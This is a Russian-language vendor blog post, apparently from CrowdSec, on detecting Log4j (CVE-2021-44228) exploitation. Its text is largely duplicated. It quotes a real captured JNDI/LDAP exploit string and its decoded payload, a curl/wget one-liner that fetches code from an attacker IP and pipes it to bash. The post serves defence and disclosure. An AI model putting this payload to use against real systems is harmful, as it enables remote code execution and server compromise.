Обнаружение уязвимости нулевого дня в Log4j (CVE-2021-44228) привело к резкому росту числа атак на различные сервисы, использующие эту популярную библиотеку Java. Это связано в первую очередь с простотой, с которой уязвимостью могут воспользоваться даже сравнительно неопытные киберпреступники. Организации и администраторы сейчас в спешке закрывают дыру в своей ИТ-инфраструктуре, а мы в этом посте расскажем о том, что успел предпринять CrowdSec, чтобы защитить наше сообщество от хакерских атак.
С момента появления данных об уязвимости в библиотеке Log4j по всему миру прошла волна попыток сканирования всевозможных сервисов. Целью большинства таких попыток было обнаружение уязвимых систем и внедрение вредоносного кода, который в дальнейшем позволил бы хакерам делать с ними почти что угодно. Поэтому, уже 10 декабря мы в срочном порядке опубликовали новый сценарий, который умеет выявлять подобные попытки сканирования и внедрения.
Вот простой пример перехваченной атаки, полученный от одного из членов нашего сообщества:
45.155.205.233 - - [10/Dec/2021:13:35:10 +0000] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4xNS4yMzguMTc1OjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzUxLjE1LjIzOC4xNzU6ODApfGJhc2g=}"```
В этом примере злоумышленник пытается использовать уязвимость, чтобы заставить систему выполнить полезную нагрузку в Base64 из HTTP-запроса. В расшифрованном виде код выглядит так:
(curl -s 45.155.205.233:5874/51.15.238.175:80||wget -q -O- 45.155.205.233:5874/51.15.238.175:80)|bash
По сути, он «просит» цель подключиться к определенному IP-адресу и загрузить (с помощью curl или wget) то, что, вероятно, является вредоносным ПО (которое может использоваться для кражи данных или информации об учётных записях, добычи криптовалют и других целей), а затем выполнить его с теми же правами, что и запущенный сервис.
Другие виды атак используют скрытие кода в заголовках HTTP Referer или User-agent. Не исключено, что со временем киберпреступники найдут и более творческие способы внедрения полезной нагрузки, поэтому мы постоянно работаем над обновлениями для своего сценария. Например, мы уже заметили обфусцированные команды для обхода брандмауэров веб-приложений.
Как только мы выложили сценарий в свой хаб, от сообщества начали поступать первые данные. Вот как выглядит динамика этих данных, начиная с 10 декабря:
Источник (здесь и далее): CrowdSec
Через несколько дней после обнаружения уязвимости количество поступивших сигналов и обнаруженных подозрительных IP-адресов начало резко расти. Это подтверждает эффективность нашего сообщества в большом масштабе. Всего за пару дней «сетевой эффект» позволил нам получить огромное количество данных, которыми мы с удовольствием делимся, чтобы помочь в разработке оперативного решения проблемы.
Эта диаграмма также является идеальной иллюстрацией эффективности коллективной работы. Как только новые IP-адреса обнаруживаются, они передаются всем другим пользователям платформы, автоматически блокируются и исчезают из журналов (это объясняет тенденцию увеличения/уменьшения показателя числа атак на графике).
Мы осознаем серьезность этой уязвимости в Log4j и, поскольку мы ценим сообщество пользователей и решительно выступаем за Open Source, мы решили опубликовать все обнаруженные IP-адреса в этом общедоступном списке. Таким образом даже те пользвоатели, которые пока не применяют CrowdSec для защиты своей системы, смогут обновить правила брандмауэров, чтобы оперативно блокировать попытки доступа с этих IP-адресов. Особенно это касается «подтверждённых» (validated) адресов — они были обработаны при помощи нашего алгоритма консенсуса, то есть получили большое количество голосов от пользователей нашей платформы. Адреса в статусе «недостаточно данных» подозрительны, но всё же могут включать в себя ложные срабатывания. «Безвредные» (benign) адреса принадлежат пользователям, которые как правило не представляют угрозы для сообщества и могут использовать инструменты сканирования не для атак, а для получения полезных данных.
На момент публикации этого поста список содержит уже более 2,6 тысяч IP-адресов и продолжает расти. Если вы являетесь пользователем CrowdSec, вам ничего не нужно делать по этому поводу. Все эти IP-адреса автоматически добавляются в ваш «чёрный список».
Своевременное обнаружение атак — это прекрасно, но CrowdSec можно использовать не только для этого. Конечно, это не волшебная средство против атак, и оно не заменит обновление Log4j до последней версии. Тем не менее, наш сценарий позволяет любому пользователю CrowdSec почти мгновенно развернуть рабочий механизм защиты, который убережёт его систему от множества попыток сканирования и взлома.
Если вы уже являетесь пользователем CrowdSec, загрузите сценарий из нашего хаба. А в этом коротком видео вы сможете увидеть его в действии:
Если вы еще не являетесь пользователем CrowdSec, но хотите проверить, не стали ли вы целью попыток использования уязвимостей, у нас есть отличная новость: вы можете установить CrowdSec и использовать наш «режим повтора». С его помощью вы сможете проанализировать свои логи серверов и проверить, кто и когда пытался использовать уязвимость в Log4j для доступа к вашей системе. Для этого понадобится наш новый сценарий и такой список команд:
sudo cscli hub update
sudo cscli scenarios install crowdsecurity/apache_log4j2_cve-2021-44228
sudo systemctl reload crowdsec
# sudo crowdsec --dsn "file://<log_file_path>" -no-api --type <log_type>
sudo crowdsec --dsn "file:///var/log/nginx/access.log" -no-api --type nginx
sudo cscli alerts list --scenario crowdsecurity/apache_log4j2_cve-2021-44228
И еще одна отличная новость! Мы также создали трекер, который отслеживает атаки с применением уязвимости в Log4j в режиме реального времени. С его помощью вы можете просмотреть, какие автономные системы киберпреступники используют чаще всего, увидеть перечень подозрительных IP-адресов с указанием стран и оценить количество проведенных с каждого из этих адресов атак. Все данные для трекера поступают от пользователей сообщества CrowdSec.
CVE-2021-44228 — чрезвычайно серьёзная уязвимость, и на её устранение уйдут как минимум месяцы. Но для нас она также послужила отличным подтверждением того, что наш подход верен и эффективен. В считанные часы с момента публикации нового сценария сообщество начало обмениваться данными и блокировать попытки доступа с подозрительных IP-адресов. Это позволило платформе в целом быстро отреагировать на угрозу и сформировать первую линию защиты, которая поможет, даже если библиотека Log4j в вашей системе ещё не была обновлена, а уязвимые службы не были идентифицированы.
habr.com
С момента появления данных об уязвимости в библиотеке Log4j по всему миру прошла волна попыток сканирования всевозможных сервисов. Целью большинства таких попыток было обнаружение уязвимых систем и внедрение вредоносного кода, который в дальнейшем позволил бы хакерам делать с ними почти что угодно. Поэтому, уже 10 декабря мы в срочном порядке опубликовали новый сценарий, который умеет выявлять подобные попытки сканирования и внедрения.
Вот простой пример перехваченной атаки, полученный от одного из членов нашего сообщества:
45.155.205.233 - - [10/Dec/2021:13:35:10 +0000] "GET / HTTP/1.1" 200 396 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC81MS4xNS4yMzguMTc1OjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzUxLjE1LjIzOC4xNzU6ODApfGJhc2g=}"```
В этом примере злоумышленник пытается использовать уязвимость, чтобы заставить систему выполнить полезную нагрузку в Base64 из HTTP-запроса. В расшифрованном виде код выглядит так:
(curl -s 45.155.205.233:5874/51.15.238.175:80||wget -q -O- 45.155.205.233:5874/51.15.238.175:80)|bash
По сути, он «просит» цель подключиться к определенному IP-адресу и загрузить (с помощью curl или wget) то, что, вероятно, является вредоносным ПО (которое может использоваться для кражи данных или информации об учётных записях, добычи криптовалют и других целей), а затем выполнить его с теми же правами, что и запущенный сервис.
Другие виды атак используют скрытие кода в заголовках HTTP Referer или User-agent. Не исключено, что со временем киберпреступники найдут и более творческие способы внедрения полезной нагрузки, поэтому мы постоянно работаем над обновлениями для своего сценария. Например, мы уже заметили обфусцированные команды для обхода брандмауэров веб-приложений.
Как только мы выложили сценарий в свой хаб, от сообщества начали поступать первые данные. Вот как выглядит динамика этих данных, начиная с 10 декабря:
Через несколько дней после обнаружения уязвимости количество поступивших сигналов и обнаруженных подозрительных IP-адресов начало резко расти. Это подтверждает эффективность нашего сообщества в большом масштабе. Всего за пару дней «сетевой эффект» позволил нам получить огромное количество данных, которыми мы с удовольствием делимся, чтобы помочь в разработке оперативного решения проблемы.
Эта диаграмма также является идеальной иллюстрацией эффективности коллективной работы. Как только новые IP-адреса обнаруживаются, они передаются всем другим пользователям платформы, автоматически блокируются и исчезают из журналов (это объясняет тенденцию увеличения/уменьшения показателя числа атак на графике).
Мы осознаем серьезность этой уязвимости в Log4j и, поскольку мы ценим сообщество пользователей и решительно выступаем за Open Source, мы решили опубликовать все обнаруженные IP-адреса в этом общедоступном списке. Таким образом даже те пользвоатели, которые пока не применяют CrowdSec для защиты своей системы, смогут обновить правила брандмауэров, чтобы оперативно блокировать попытки доступа с этих IP-адресов. Особенно это касается «подтверждённых» (validated) адресов — они были обработаны при помощи нашего алгоритма консенсуса, то есть получили большое количество голосов от пользователей нашей платформы. Адреса в статусе «недостаточно данных» подозрительны, но всё же могут включать в себя ложные срабатывания. «Безвредные» (benign) адреса принадлежат пользователям, которые как правило не представляют угрозы для сообщества и могут использовать инструменты сканирования не для атак, а для получения полезных данных.
На момент публикации этого поста список содержит уже более 2,6 тысяч IP-адресов и продолжает расти. Если вы являетесь пользователем CrowdSec, вам ничего не нужно делать по этому поводу. Все эти IP-адреса автоматически добавляются в ваш «чёрный список».
Своевременное обнаружение атак — это прекрасно, но CrowdSec можно использовать не только для этого. Конечно, это не волшебная средство против атак, и оно не заменит обновление Log4j до последней версии. Тем не менее, наш сценарий позволяет любому пользователю CrowdSec почти мгновенно развернуть рабочий механизм защиты, который убережёт его систему от множества попыток сканирования и взлома.
Если вы уже являетесь пользователем CrowdSec, загрузите сценарий из нашего хаба. А в этом коротком видео вы сможете увидеть его в действии:
Если вы еще не являетесь пользователем CrowdSec, но хотите проверить, не стали ли вы целью попыток использования уязвимостей, у нас есть отличная новость: вы можете установить CrowdSec и использовать наш «режим повтора». С его помощью вы сможете проанализировать свои логи серверов и проверить, кто и когда пытался использовать уязвимость в Log4j для доступа к вашей системе. Для этого понадобится наш новый сценарий и такой список команд:
sudo cscli hub update
sudo cscli scenarios install crowdsecurity/apache_log4j2_cve-2021-44228
sudo systemctl reload crowdsec
# sudo crowdsec --dsn "file://<log_file_path>" -no-api --type <log_type>
sudo crowdsec --dsn "file:///var/log/nginx/access.log" -no-api --type nginx
sudo cscli alerts list --scenario crowdsecurity/apache_log4j2_cve-2021-44228
И еще одна отличная новость! Мы также создали трекер, который отслеживает атаки с применением уязвимости в Log4j в режиме реального времени. С его помощью вы можете просмотреть, какие автономные системы киберпреступники используют чаще всего, увидеть перечень подозрительных IP-адресов с указанием стран и оценить количество проведенных с каждого из этих адресов атак. Все данные для трекера поступают от пользователей сообщества CrowdSec.
CVE-2021-44228 — чрезвычайно серьёзная уязвимость, и на её устранение уйдут как минимум месяцы. Но для нас она также послужила отличным подтверждением того, что наш подход верен и эффективен. В считанные часы с момента публикации нового сценария сообщество начало обмениваться данными и блокировать попытки доступа с подозрительных IP-адресов. Это позволило платформе в целом быстро отреагировать на угрозу и сформировать первую линию защиты, которая поможет, даже если библиотека Log4j в вашей системе ещё не была обновлена, а уязвимые службы не были идентифицированы.
Как CrowdSec помогает справиться с уязвимостью в Log4j
Привет, Хабр! Обнаружение уязвимости нулевого дня в Log4j (CVE-2021-44228) привело к резкому росту числа атак на различные сервисы, использующие эту популярную библиотеку Java. Это связано в первую...
habr.com